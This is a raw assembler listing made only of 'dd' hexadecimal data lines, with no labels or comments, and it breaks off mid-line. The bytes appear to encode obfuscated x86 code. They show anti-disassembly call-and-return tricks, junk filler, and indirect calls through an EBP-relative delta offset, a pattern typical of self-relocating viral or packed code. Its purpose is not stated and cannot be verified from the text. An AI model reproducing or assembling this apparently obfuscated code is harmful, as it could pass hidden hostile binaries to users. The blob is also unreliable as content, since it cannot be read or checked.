8B5BB830h, 310B5BDh dd 0C3F65906h, 4A840F04h, 31000005h, 31725BDh, 0C75F5606h dd 31E9185h, 6, 13E900h, 17A0000h, 0E17BEC6Ch, 831E448Ah dd 2A1E4DDEh, 1793820h, 88BD80F1h, 605FEh, 4850Fh, 8A500000h dd 85C659D5h, 6032F39h, 0EE947h, 68470000h, 0D5BCA9EBh dd 606CD588h, 12825A15h, 0E45B8668h, 0FFCF8BE3h, 31359B5h dd 0D1852906h, 8D060321h, 338A785h, 55DF8106h, 0E93F4667h dd 0Bh, 16058BCh, 4582BF1Ah, 0FF7D8456h, 8E8D0h, 0AA420000h dd 0B28C7AABh, 8D8B3211h, 6032C45h, 104685Ah, 95290000h dd 603287Dh, 27059D8Dh, 0CA810603h, 2BC3E920h, 0D0FFF553h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BBC35646h dd 0E18166DFh, 858D6DE4h, 6032705h, 5E9h, 3C01AA00h, 8B504602h dd 30FCD95h, 3A858D06h, 660605FEh, 0BFE07ABAh, 72190AB0h dd 0BD78B50h, 317C595h, 0D858D06h, 600605F5h, 26F5B58Bh dd 0BD8B0603h, 6032C79h, 6A5061h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 845CAFC3h, 0D124E793h dd 2B272987h, 3285195h, 8595FF06h, 6A060312h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0B6FC357h, 38673E8Fh, 11E960D6h, 0A5000000h, 31CA7726h dd 9C24848Fh, 4FF5A9F2h, 701C03E3h, 0ACDBD8Bh, 83610603h dd 6A0CC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 668C76C3h, 0E724C981h, 5E9h, 66A36B00h, 6A53FCh dd 8068h, 6A036A00h, 68006A00h, 80000000h, 0F50D858Dh dd 0FF500605h, 3115595h, 1D858906h, 0C60605FEh, 32F3985h dd 87684706h, 0FFC7B15Eh, 31359B5h, 0A7858D06h, 0FF060338h dd 0FF006AD0h, 5FE1DB5h, 0B5D0FF06h, 6830F87h, 8B000000h dd 30B7D95h, 9D8B6006h, 6032339h, 2C798D89h, 3D610603h dd 37D0h, 53830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 5C8F99C3h, 0B5FFCC64h dd 605FE1Dh, 0BE8h, 324E9600h, 2A29D05Dh, 72FCF771h, 87AC5ABFh dd 95FF5F35h, 6030AE1h, 17A98D8Bh, 0C1E90603h, 81000000h dd 239258F1h, 1DB5FF42h, 0BA0605FEh, 273427CBh, 0AE195FFh dd 6A0603h, 11E9h, 2865B900h, 0AB744A3Eh, 0F025605Ch, 0E162EF1Ch dd 958B4173h, 6032C81h, 0B589006Ah, 60303A9h, 6ACBB70Fh dd 0A2F5B900h, 6A18FEh, 6AFE8Bh, 0C22EA0BFh, 8D006A4Ah dd 5FE2185h, 0D08B6606h, 50006A50h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0C9B8DE74h, 7B578847h dd 95093562h, 60311A1h, 29E1BD8Bh, 95FF0603h, 6031155h dd 172D958Bh, 0F8830603h, 4A850FFFh, 0E8000001h, 11h, 43F15CEAh dd 33474AC3h, 46248676h, 541493A3h, 2DBD899Eh, 5906031Eh dd 0B9AD858Dh, 80600605h, 890FB9C5h, 6, 318DBD8Bh, 0FF610603h dd 0CE9D0h, 4AB20000h, 43A1CD50h, 42AB9233h, 6AB512h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A2C35141h, 13059908h dd 6A0740h, 1D7D8D8Bh, 6A0603h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0B8C35141h, 0DEE47CCAh, 8B95E868h dd 32E45BDh, 29006A06h, 300218Dh, 0E8006A06h, 9, 3A0B7CBFh dd 97B82C15h, 0C174B910h, 8B5A1E4Bh, 30CC5BDh, 89006A06h dd 3283D95h, 21858D06h, 8B0605FEh, 3227995h, 0B1F78106h dd 504178FBh, 8594D181h, 95FF77D4h, 6031155h, 223D8509h dd 0F8830603h, 52850FFFh, 0F000000h, 0B58DC8B7h, 605F829h dd 0AE860h, 0BFC10000h, 6DAB73E3h, 0BF54C3B5h, 25399589h dd 0B0580603h, 858D6103h, 605A3C3h, 2969B589h, 0D0FF0603h dd 6ACFBF0Fh, 0F2816600h, 8D8B4B96h, 6031F6Dh, 20F195FFh dd 6E90603h, 6F000000h, 0B73E5FB0h, 1D8589BAh, 6A0605FEh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 289EC350h, 5DDBD8Bh, 6A0603h, 1321BD8Bh dd 858D0603h, 605FE15h, 25419589h, 8B500603h, 30F8DBDh dd 89046A06h, 3010D8Dh, 48D0F06h, 56000000h, 8D59D68Bh dd 32F0585h, 58D8906h, 0F06032Ch, 6650CABFh, 35ADA81h dd 8589006Ah, 6033065h, 958B006Ah, 6030AC5h, 6AD78B66h dd 0B58D2901h, 0FF06032Eh, 5FE1DB5h, 0FE906h, 56D50000h dd 1A54A054h, 921D6F94h, 825F24E5h, 0BD8D09A5h, 0FF060322h dd 303E195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 5D324E96h, 712A29D0h, 45958BF7h dd 0E9060326h, 1B22h, 38B0Fh, 8B660000h, 83C08BD0h, 31039BDh dd 9750006h, 111DBD83h, 74000603h, 8B535019h, 7D2B8C0h dd 85890000h, 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh dd 603111Dh, 50177400h, 7D2B853h, 85890000h, 6031775h dd 0AD809D8Dh, 0D3FF0605h, 0B70F585Bh, 55006AD7h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 4E94DB36h, 0FE20BF80h, 0D9813B73h, 52743B14h, 0F181C08Bh dd 44E2B547h, 9DD18166h, 9185C7E2h, 106031Eh, 53000000h dd 38C0Fh, 0ED800000h, 0B86859B0h, 0FFCEE4E7h, 30175B5h dd 0A7858D06h, 0FF060338h, 0D8589D0h, 68060306h, 0C005DBD4h dd 175B5FFh, 858D0603h, 60338A7h, 8589D0FFh, 6031A4Dh dd 0F2C6858Dh, 0FF500605h, 31359B5h, 7595FF06h, 0B060329h dd 8B0B74C0h, 79858DD8h, 50060602h, 858DD3FFh, 6060279h dd 9388366h, 85C70A75h, 6032831h, 1, 306995FFh, 0FF250603h dd 83000000h, 0A7305F8h, 35D85C7h, 10603h, 8F0F0000h, 3 dd 66C88B66h, 807F40B9h, 5FE88BDh, 850F0006h, 2Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 0BBE9B200h dd 0E9000019h, 5, 879C075Ch, 31BD830Ah, 60328h, 0B7850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0E6B0DC3h, 41B95016h, 68B145DAh, 0FE52858Dh dd 8D2B0605h, 60312E1h, 0FE12BF50h, 16A747Ch, 40D8D31h dd 6A0603h, 2E618D01h, 6A0603h, 95FFB7B5h, 6031D59h, 1EFD8D89h dd 85890603h, 605FE7Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0E0C35141h, 53678D6h, 6AE8BA66h, 0FE8FF6Ah dd 0AD000000h, 3E8B2167h, 0B09BFACBh, 3DBCD1EBh, 9D29F99Dh dd 60322A1h, 7CB5FF5Ah, 90605FEh, 3208585h, 1595FF06h dd 89060320h, 30385BDh, 8D858D06h, 0F0605F2h, 8B50D6B7h dd 995FFD7h, 0E906031Bh, 8, 69491559h, 0C14D5359h, 0F3178589h dd 6A0605h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 4F67DBC3h, 0AF631145h, 0D7DD80CAh, 0F29A858Dh dd 6A0605h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 595E95C3h, 9ACE812Ah, 0CE8B50E5h, 0B5FFFA8Bh, 605F317h dd 14E8h, 0B78AF200h, 0A7759866h, 0F0E03841h, 3B755481h dd 0DFC5A320h, 88ED804Bh, 7595FF59h, 6A060329h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 9AB1C356h, 0F83472FEh, 898B6C26h, 3249595h, 79958B06h dd 8906031Bh, 309C985h, 958BFC06h, 603205Dh, 0F308858Dh dd 0C6800605h, 816650A8h, 0FF7883E2h, 5F317B5h, 0D8D8906h dd 0FF060328h, 3297595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0A7499BB9h, 8930ED25h dd 5F32B85h, 0D1B50906h, 8D06031Bh, 5F2E785h, 358D8906h dd 5006031Bh, 0F317B5FFh, 0BD8B0605h, 6032511h, 297595FFh dd 85890603h, 6030A95h, 0F3238589h, 81660605h, 8D76B8DFh dd 5F2DA85h, 5066B506h, 1E959529h, 0B5FF0603h, 605F317h dd 0A54ACA81h, 95FF03D3h, 6032975h, 0D3E78166h, 27858910h dd 8B0605F3h, 30C1195h, 0F5858D06h, 0F0605F2h, 8B50D1BFh dd 32AB1BDh, 17B5FF06h, 290605F3h, 31BF59Dh, 7595FF06h dd 89060329h, 311CDBDh, 0ED858906h, 6A060322h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0DAD2C351h, 0B8600468h, 41E2386Bh, 69BD8B61h, 8D060332h dd 5F2A985h, 85958906h, 50060313h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0AFC35141h, 683ED6BEh, 0A8B0F48h dd 60000000h, 31D9B589h, 0C38B0603h, 17B5FF61h, 6A0605F3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0F8AAC355h, 0D19653CCh, 11C11FA1h, 95FFF5F9h dd 6032975h, 1B8589FCh, 6A0605F3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8DD3C356h dd 5F2B885h, 15858906h, 5006030Ch, 14118D8Bh, 0E1810603h dd 1C7EA95Eh, 0F317B5FFh, 958B0605h, 6032381h, 297595FFh dd 850F0603h, 12h, 0DE9h, 31EB5000h, 0B3BC5FFEh, 86EB1F2Bh dd 8589C487h, 605F31Fh, 26F59D89h, 4680603h, 52000001h dd 0AF858D5Fh, 0FC0605F3h, 6A50C0B1h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8953C356h dd 302B99Dh, 0B3858D06h, 0F50605F4h, 2DBD8589h, 89500603h dd 3311995h, 2195FF06h, 0F060326h, 880h, 85895100h, 6031451h dd 0FC08559h, 685h, 318D8B00h, 8006031Fh, 5FE88BDh, 850F0006h dd 11h, 3269BD31h, 9FE90603h, 89000015h, 325419Dh, 31BD8306h dd 60328h, 19850Fh, 810F0000h, 0 dd 332BD83h, 0F000606h, 6784h, 18D0900h, 8D06030Dh, 5F34C85h dd 0AE906h, 2C70000h, 8AA1622Fh, 0C9628704h, 1559E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 6E849h, 0A7AC0000h, 0EF4114AEh, 0EE8h, 0E5F9E500h, 1DB34E19h dd 4B94C68Eh, 80779D1Bh, 5F5F24C2h, 0FE9h, 0C9BF0F00h dd 0F337858Dh, 0BD8B0605h, 6030151h, 52006A50h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 950941CFh dd 603115Dh, 11E957h, 0B80F0000h, 0B418A160h, 0F4615F19h dd 0ED60E2Bh, 591D649Bh, 0F3AF858Dh, 10E90605h, 65000000h dd 0C9D66382h, 93D529E5h, 5F95EC66h, 503E2D8Dh, 7CFBA66h dd 2831BD83h, 0F000603h, 3F84h, 0D5858D00h, 290605F4h dd 329DD8Dh, 4CE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0DE1126C3h, 0B8A9DF33h dd 6E9EAh, 5DA70000h, 0C36FDAB3h, 0F4BE858Dh, 0E9500605h dd 11h, 0C3479A20h, 5B2D98AEh, 0B14B5A74h, 656A048Fh, 89505F9Bh dd 304D585h, 0D858D06h, 6A0605F5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 4583C350h dd 5CC2C981h, 0F506B23h, 8D03CFB7h, 6030349h, 128595FFh dd 830F0603h, 6, 9FD8D8Bh, 860F0603h, 0Dh, 0ED858960h dd 66060301h, 185AD081h, 10C48361h, 2DEDBD29h, 0C08B0603h dd 38B0Fh, 8B660000h, 39BD83CFh, 60310h, 0BD830975h, 603111Dh dd 50197400h, 0B8C08B53h, 7D3h, 17758589h, 9D8D0603h, 605B091h dd 585BD3FFh, 111DBD83h, 74000603h, 0B8535017h, 7D3h, 17758589h dd 9D8D0603h, 605AD80h, 585BD3FFh, 1002D281h, 6A044Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8589BBC3h, 6032CF1h, 870FC08Bh, 13h, 0EE9h, 413F4D00h dd 0F1EB9060h, 92E761B0h, 812F7D17h, 5F337BDh, 65726F06h dd 86840F61h, 0B1000000h, 0AF858DA6h, 500605F3h, 0F4EC858Dh dd 8D500605h, 5F50D85h, 95FF5006h, 6031285h, 0C60CC483h dd 32F3985h, 4F684406h, 0FF96A318h, 31359B5h, 0A7858D06h dd 0FF060338h, 8DD88BD0h, 5F50D85h, 0D3FF5006h, 0F337858Dh dd 8D500605h, 5F3AF85h, 0BD835006h, 6032831h, 8D087400h dd 5F4D585h, 8D06EB06h, 5F4BE85h, 858D5006h, 605F50Dh dd 8595FF50h, 83060312h, 0BF5210C4h, 445AAA4Eh, 0D7BF0F5Fh dd 6995FFFCh, 6A060330h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 17CBC350h, 0FB93D83Ch dd 49D10E6Ch, 9E9h, 0FF369200h, 0EE603FA6h, 0FF254696h dd 0F000000h, 685h, 2D953300h, 83060301h, 830F05F8h, 33h dd 68F0Fh, 95010000h, 6032939h, 35D85C7h, 10603h, 95890000h dd 6032285h, 0F36B858Dh, 95890605h, 6032B15h, 5AE9h, 2BC78100h dd 832A8777h, 32831BDh, 840F0006h, 23h, 1CC58D8Bh, 858D0603h dd 605F396h, 12D58D09h, 8D8B0603h, 6031BF9h, 2AE9h, 25BD8B00h dd 8D06032Ch, 5F37885h, 13E806h, 79E70000h, 0F0A31DC6h dd 0CCAA8D8Ah, 0C9E4CD65h, 0E1C10FCBh, 0D9816690h, 895FD0A8h dd 5F3AB85h, 5DBD8B06h, 83060312h, 32831BDh, 850F0006h dd 1Eh, 90C28166h, 32BD8303h, 60603h, 17840Fh, 958B0000h dd 6030F0Dh, 289DBD8Bh, 93E90603h, 81000011h, 0DFE853F7h dd 44FE902h, 8D290000h, 6030331h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A1999CC3h dd 830178D7h, 31039BDh, 9750006h, 111DBD83h, 74000603h dd 8B535019h, 7D4B8C0h, 85890000h, 6031775h, 0B0919D8Dh dd 0D3FF0605h, 0BD83585Bh, 603111Dh, 50177400h, 7D4B853h dd 85890000h, 6031775h, 0AD809D8Dh, 0D3FF0605h, 6A585Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 5DDE53C3h, 15B199E4h, 5C01F181h, 7E921F6h, 6A000000h dd 3AD7E3C3h, 5EBAFA39h, 8B1A91D8h, 0F6B966C0h, 3F6831h dd 9531000Fh, 6030AD9h, 15BA006Ah, 6A6B16B7h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0FE1F18C2h, 8BE4D73Dh, 0FFBADA80h, 309C995h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0CA3677B2h, 339D7F8Ah, 13E8C4h, 0BAC00000h, 846B33AAh dd 0ABA67370h, 472E3996h, 0DD9E997h, 3D858946h, 5F060314h dd 850FC085h, 4, 1147BF66h, 0F32F8589h, 810F0605h, 0Dh dd 39BD8B60h, 0BA06031Ch, 4E7F6F31h, 0E8006A61h, 0Bh, 5E263AA2h dd 0E598B664h, 8BB4D0B2h, 3011D8Dh, 6A5A06h, 1C81BD8Bh dd 81510603h, 26305DC1h, 6A5A01h, 0E9006AFCh, 0Ch, 16F08B8h dd 0C65BA70Fh, 6612ED9Fh, 8B60006Ah, 30AD195h, 959D8906h dd 6106030Fh, 26498D8Bh, 858D0603h, 605F50Dh, 20A5BD01h dd 6A500603h, 53006A01h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0F1539D5Fh, 3CB9016Ah, 6A2D78F9h dd 5E901h, 75220000h, 68A38339h, 0F01FFh, 91B58960h, 0E9060317h dd 12h, 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 83617378h dd 32831BDh, 840F0006h, 4Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0A4C35747h, 285BC109h, 8E0F4444h dd 0 dd 8C858DFCh, 8B0605F3h, 0C820FCFh, 0F000000h, 68Ch, 0F9952900h dd 0E9060310h, 12h, 299958Bh, 858D0603h, 605F362h, 201DBD8Bh dd 0E8500603h, 12h, 83AE9C60h, 0D29258AEh, 1AEFE4BBh, 7F1C609Dh dd 0B589B87Fh, 6032A95h, 8D8B505Fh, 60324A1h, 0F32FB5FFh dd 0BA660605h, 95FF94EEh, 605F31Bh, 38F0Fh, 0B70F0000h dd 0FC085D3h, 0E85h, 64E18100h, 0E96AE820h, 50h, 89D68B66h dd 5F33385h, 8FBA6606h, 33B5FF39h, 890605F3h, 32BBD95h dd 0ED95FF06h, 60060322h, 0DE9h, 32BAF800h, 0CA64B211h dd 0DD788360h, 0AE9767Fh, 0C5000000h, 7B4A7FC1h, 74E1FD97h dd 0C0856198h, 6850Fh, 8D8B0000h, 6032D81h, 92B5106Ah dd 2831BD83h, 0F000603h, 1A84h, 0BD8B5700h, 60303ADh, 8C858D5Fh dd 0F50605F3h, 15E9h, 7D8D8B00h, 8D060310h, 5F36285h, 0B58D8906h dd 0F06031Bh, 6A50CFB7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0F1EC355h, 58Dh, 0B34AB900h dd 81660574h, 0FF5349C2h, 5F32FB5h, 0F58D0B06h, 0FF060312h dd 5F32795h, 0CCD28106h, 8529BCB0h, 13850FC0h, 8B000000h dd 30F31BDh, 0BD8B6006h, 6031BD9h, 54C38166h, 858961BBh dd 605F333h, 2E5DBD8Bh, 6A0603h, 345BD0Bh, 6A0603h, 0B850Fh dd 800F0000h, 5, 0C4FE68BFh, 33B5FF44h, 0F80605F3h, 0F31F95FFh dd 860F0605h, 6, 224D8D03h, 0C0850603h, 3850Fh, 8B660000h dd 33B5FFFAh, 10605F3h, 305A5BDh, 5E906h, 0F7080000h, 0FFC168BDh dd 322ED95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 27B00790h, 34F1A7E5h, 0FC08571h dd 485h, 5FBF6600h, 81006ACFh, 0C76B17D2h, 80683Fh, 0BD090000h dd 6030361h, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0A7380EC3h, 518D09AAh, 6A060328h dd 10E900h, 73340000h, 33C872AAh, 47FD3581h, 0B686683Ch dd 6A7D9Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 7CC35747h, 0C7BE2E7Eh, 11E8EB8Ah, 1F000000h, 8D00B162h dd 9669DC38h, 0F4B9FD9Fh, 897A56E3h, 30458D0Bh, 605F0603h dd 11E98D0Bh, 0B3B20603h, 6861h, 0DE9C000h, 0FE000000h dd 0AF7E5FF0h, 5BFF01BFh, 743141FEh, 0AE9h, 8B2D4800h dd 7350B09Ah, 0FF345F86h, 5F3ABB5h, 95FFF806h, 6031155h dd 2059529h, 0F8830603h, 96850FFFh, 3000005h, 30459BDh dd 1985FF06h, 310605FEh, 321B985h, 19BD8306h, 20605FEh dd 4A3840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 90BA66C3h, 4A2F3AE5h, 0F38D80Bh dd 48Ch, 0C0B96600h, 9F858DADh, 89005AF5h, 3304D8Dh, 0B18D8B06h dd 0FF060302h, 858DF8D0h, 5AEFF2h, 559D2B60h, 0B1060331h dd 0D0FF61D2h, 8BFB8B66h, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0BD83FCF4h dd 6031039h, 83097500h, 3111DBDh, 19740006h, 0C08B5350h dd 7D8B8h, 75858900h, 8D060317h, 5B0919Dh, 5BD3FF06h, 1DBD8358h dd 60311h, 53501774h, 7D8B8h, 75858900h, 8D060317h, 5AD809Dh dd 5BD3FF06h, 8529F858h, 6030ADDh, 9531C08Bh, 6030395h dd 23018589h, 3F680603h, 89000F00h, 31E8D85h, 14E806h dd 0D0660000h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h, 0E824A004h dd 8166A571h, 5F7714E9h, 8B66006Ah, 6A006AF9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0BF84C357h, 6000DE4Ch, 0CE9h, 0F0232B00h, 2AAC7E0Ah dd 6F853206h, 0E99D8904h, 61060310h, 9C995FFh, 89600603h dd 32A59B5h, 5E906h, 875C0000h, 615F134Ah, 0F60C085h, 1382h dd 0EE900h, 97B50000h, 0DBCF5F87h, 875E5B1Fh, 74CF122Ch dd 1CAD8D8Bh, 89610603h, 5F32F85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 80E9FC24h dd 12CF81E4h, 6879AC27h, 0F01FFh, 83D6BF0Fh, 32831BDh dd 840F0006h, 4Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 48C35343h, 63C18147h, 8B2019DFh, 7D9D89D3h dd 8D060311h, 5F38C85h, 0EE906h, 8E750000h, 460114EEh dd 0BC62C0A6h, 1478D424h, 31E9h, 2D958900h, 8D060325h dd 5F36285h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0B7177C4Bh, 25D99529h, 8B500603h dd 310F18Dh, 2FB5FF06h, 6A0605F3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0EA2C350h dd 13164EFh, 0FDBA6679h, 2795FFB3h, 6A0605F3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0C73AC357h, 768E0D11h, 0F3338589h, 85C70605h, 60330CDh dd 0 dd 89D280FCh, 0F333BD83h, 0F000605h, 1C884h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0A86EF82Ch, 0DD006133h, 506013B7h, 2939B58Bh, 895E0603h dd 321A19Dh, 858D6106h, 605F611h, 0F75C180h, 68Eh, 14E78100h dd 500CBBE1h, 0CF98529h, 16A0603h, 21D8531h, 0E9810603h dd 9CE9B9Ch, 0F333B5FFh, 6A0605h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 50145C3h, 6D439BCBh dd 0E9143D7Dh, 0Eh, 0E642772Eh, 9CAA3D23h, 0DADCF3D8h dd 95FF33D2h, 605F32Bh, 9558D2Bh, 0B5FF0603h, 605F333h dd 11E0B966h, 0FF12CE80h, 322ED95h, 6870F06h, 81000000h dd 5C1348CAh, 1FF6838h, 958B000Fh, 603288Dh, 2831BD83h dd 0F000603h, 3D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0E9C8E845h, 188692A4h dd 0E5958B63h, 8D06031Ah, 5F38C85h, 98D28006h, 16E9h, 0B009B900h dd 858D0826h, 605F362h, 0F8B70F60h, 2AD8589h, 50610603h dd 0D9C98166h, 2FB5FF73h, 8B0605F3h, 99B531CFh, 0FF06031Fh dd 5F32795h, 14E806h, 6FF90000h, 88826828h, 6E2EEE88h dd 928774C6h, 1AB67F7h, 66608833h, 0C7F7C381h, 2E718523h dd 5F610603h, 0F3338589h, 0FFFC0605h, 5F333B5h, 0DE906h dd 0E6870000h, 0D7450D1Eh, 9649183Ch, 0FF1CAEBFh, 5F32395h dd 0F9B70F06h, 0B5FF1EB1h, 605F333h, 11E8h, 7FDC0600h dd 0B089833Fh, 18B6269h, 66FADC13h, 0BD09B0E5h, 6032BFDh dd 0ED95FF5Fh, 89060322h, 30B85B5h, 0F63AE906h, 6AFFFFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 89F441C3h, 326DD85h, 7CB5FF06h, 0E90605FEh, 7, 756E6F8Fh dd 0FF26501Dh, 3269195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 2840FE1h, 53000000h, 71858B59h dd 0BA060328h, 52C1474h, 14E9h, 0BE18FB00h, 3AAA6B09h dd 39A0CF9Eh, 1085AD40h, 4FDA1357h, 563E97Eh, 8D8B0000h dd 6031961h, 0F631B58Dh, 0BF660605h, 858D1317h, 605A3C3h dd 0CE9h, 0E0583C00h, 0F2B5F2D0h, 6B2147A8h, 29D0FFC2h dd 31E399Dh, 8B006A06h, 3177D95h, 0EDBD0B06h, 0FF060326h dd 320F195h, 8BFE8B06h, 93D181F3h, 8D37DC39h, 5A3C385h dd 45BD8B06h, 0FF06032Fh, 6AFB8BD0h, 0F9BD8900h, 0FF06030Bh dd 320F195h, 8B68B606h, 8BC08BD1h, 39BD83D3h, 60310h, 0BD830975h dd 603111Dh, 50197400h, 0B8C08B53h, 7D9h, 17758589h, 9D8D0603h dd 605B091h, 585BD3FFh, 111DBD83h, 74000603h, 0B8535017h dd 7D9h, 17758589h, 9D8D0603h, 605AD80h, 585BD3FFh, 6ACE8Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0E0D863C3h, 31BD2960h, 0F8060330h, 8BF38A61h, 0D58D01C0h dd 50060331h, 31A5BD8Bh, 7E80603h, 0F9000000h, 0CCBD3324h dd 13E885E6h, 4B000000h, 3DB36E85h, 6F605BAh, 9622F376h dd 0BA55D1E2h, 0B5893FEDh, 6031385h, 0D88B5F5Ah, 0BFD8529h dd 8D530603h, 30B899Dh, 89038B06h, 50438B03h, 8D504389h dd 5FE159Dh, 89038B06h, 0F605B03h, 8960D9B7h, 32AD58Dh dd 2D858906h, 61060304h, 0F9958B61h, 6A060329h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0C28166FBh, 1877FE67h, 1FA5BD8Bh, 858D0603h, 605FE15h dd 80C8CCBAh, 8B66504Bh, 9606AF8h, 330858Dh, 89858D06h dd 6A06030Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0F53C355h, 89h, 198D8900h, 50060306h dd 33DA8160h, 9668DB5h, 32C11B5h, 6A6106h, 8E9h, 0CEAB7E00h dd 620A9C9Ch, 66006A6Eh, 6816ACBFh, 1800h, 0F53F98Bh, 689h dd 358D0900h, 0E9060309h, 0Ah, 35DDDED3h, 0A28D7261h, 95FF1B6Fh dd 60303E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0F7C35040h, 68B0F57h, 31000000h, 331A5B5h, 95FF5A06h dd 6030AE1h, 0FF5FF851h, 5FE7CB5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0FD5BD465h dd 0C621681Dh, 8166D6F5h, 0E9FBBCDAh, 0Eh, 0E25B53FFh dd 0D0883A64h, 0A3D108EAh, 95FF6884h, 6032691h, 7A20EA81h dd 95036390h, 6032A4Dh, 0B89858Dh, 6A0603h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 1CBFD4C3h dd 0F7CA0ACh, 408BCFB7h, 0CE918h, 0A40D0000h, 74AD8936h dd 5D6A0C24h, 85C7B298h, 6031071h, 0 dd 3FF3BA66h, 2831BD83h, 0F000603h, 2284h, 99952B00h, 3D060305h dd 8Ch, 15A830Fh, 81660000h, 0E90F8EDAh, 2Eh, 2D1FBF52h dd 3D5F67BFh, 96h, 13E830Fh, 958B0000h, 6030211h, 11E9h dd 1F9CFF00h, 0A7D8B012h, 0F6B21B0Ah, 0BC3BA195h, 858DFECFh dd 5AF59Fh, 9FDB531h, 0D0FF0603h, 0F2858DF9h, 0F005AEFh dd 584h, 0C2F7B900h, 0D0FF2ECAh, 2ED19529h, 0C08B0603h dd 7E9h, 2295D100h, 911B7F18h, 1039BD83h, 75000603h, 1DBD8309h dd 60311h, 53501974h, 0C6B8C08Bh, 8900000Bh, 3177585h dd 919D8D06h, 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h dd 0C6B85350h, 8900000Bh, 3177585h, 809D8D06h, 0FF0605ADh dd 66585BD3h, 1A51C281h, 0D8EABF66h, 8D01C08Bh, 60301C9h dd 1A75B529h, 0F8830603h, 4D850FFFh, 0F000000h, 85C7F9BFh dd 6030F75h, 0 dd 12E8h, 0CC3E5200h, 0BABC1859h, 3F8488EEh, 0FD39173Eh dd 890D6223h, 30B25B5h, 